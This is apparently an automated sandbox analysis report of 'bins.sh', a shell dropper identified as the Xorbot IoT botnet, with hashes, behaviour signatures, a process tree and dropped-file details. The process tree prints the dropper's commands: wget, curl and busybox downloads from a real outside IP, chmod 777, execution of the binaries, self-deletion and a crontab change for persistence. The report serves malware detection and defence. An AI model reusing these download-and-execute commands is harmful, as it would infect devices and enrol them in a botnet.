Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 00:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a143188f8eb4f1ec65578ca97c3910b9

  • SHA1

    25f0c491fd127130f5131ca32c4439e10d74109c

  • SHA256

    5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e

  • SHA512

    d76964706ecd5338d050d14dbfa2df3499bb795de50494cdb7ad835648403aae57db6edfb5998e0c68ec88a0c390ab6acb73dbb16979432ce1cddaaff8eacf29

  • SSDEEP

    96:1kdkNkBCkDknk/QHdAI+eIMlG+CDc8eoIXaW6d4AIIyJIMHQiG+CDc8zGoIXaW8C:ExQHdAleIMlNoIXaW6jqIMnoIXaW4yt

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1297) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:707
      • /usr/bin/wget
        wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:714
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:726
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:733
      • /bin/chmod
        chmod 777 jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        ./jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
          PID:736
        • /bin/rm
          rm jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            ./Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
            2⤵
              PID:743
            • /bin/rm
              rm Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/chmod
                chmod 777 YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                • File and Directory Permissions Modification
                PID:794
              • /tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                ./YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                2⤵
                  PID:795
                • /bin/rm
                  rm YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
                  2⤵
                    PID:797
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                    2⤵
                    • Writes file to tmp directory
                    PID:798
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:799
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                    2⤵
                    • Writes file to tmp directory
                    PID:800
                  • /bin/chmod
                    chmod 777 7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:805
                  • /tmp/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                    ./7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                    2⤵
                      PID:806
                    • /bin/rm
                      rm 7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
                      2⤵
                        PID:809
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                        2⤵
                        • Writes file to tmp directory
                        PID:811
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                        2⤵
                        • Writes file to tmp directory
                        PID:836
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                        2⤵
                        • Writes file to tmp directory
                        PID:840
                      • /bin/chmod
                        chmod 777 4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                        2⤵
                        • File and Directory Permissions Modification
                        PID:841
                      • /tmp/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                        ./4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                        2⤵
                          PID:842
                        • /bin/rm
                          rm 4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU
                          2⤵
                            PID:844
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:845
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:846
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:847
                          • /bin/chmod
                            chmod 777 DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            2⤵
                            • File and Directory Permissions Modification
                            PID:848
                          • /tmp/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            ./DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            2⤵
                            • System Network Configuration Discovery
                            PID:849
                          • /bin/rm
                            rm DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf
                            2⤵
                            • System Network Configuration Discovery
                            PID:851
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                            2⤵
                            • Writes file to tmp directory
                            PID:852
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                            2⤵
                            • Writes file to tmp directory
                            PID:853
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                            2⤵
                            • Writes file to tmp directory
                            PID:854
                          • /bin/chmod
                            chmod 777 jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                            2⤵
                            • File and Directory Permissions Modification
                            PID:855
                          • /tmp/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                            ./jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:856
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:858
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:859
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:860
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:861
                                • /bin/rm
                                  rm jXBZ9fjgtI76vCjYbD27pv345EGNylec9P
                                  2⤵
                                    PID:863
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/VXgjq7oUTr3oee9cSYKvxjQjOsg8qP6TM4
                                    2⤵
                                      PID:866

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/4NXqErtkdL9u0sggoDFpUFlDBx5SpjXlQU

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/DQM8yyQFuvt7q3KPLK3gIPJNFvYido29Bf

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/jXBZ9fjgtI76vCjYbD27pv345EGNylec9P

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /var/spool/cron/crontabs/tmp.JSgvbW

                                    Filesize

                                    210B

                                    MD5

                                    6ebc7bca6cad33e454755755966251e5

                                    SHA1

                                    868596bc74823f80a60e537185f714e75f846f8c

                                    SHA256

                                    8ba472916f122a420665f01cc614d35416c7e39fba4341a3bc30029727315746

                                    SHA512

                                    d685e76d3f847afae636597486a7bccf1ff51d10a8dc563ea6dc59280bca64af81b24f975a53dc051f0e5ef5625d3b437d2383f8c61f1534c461791caf68ea38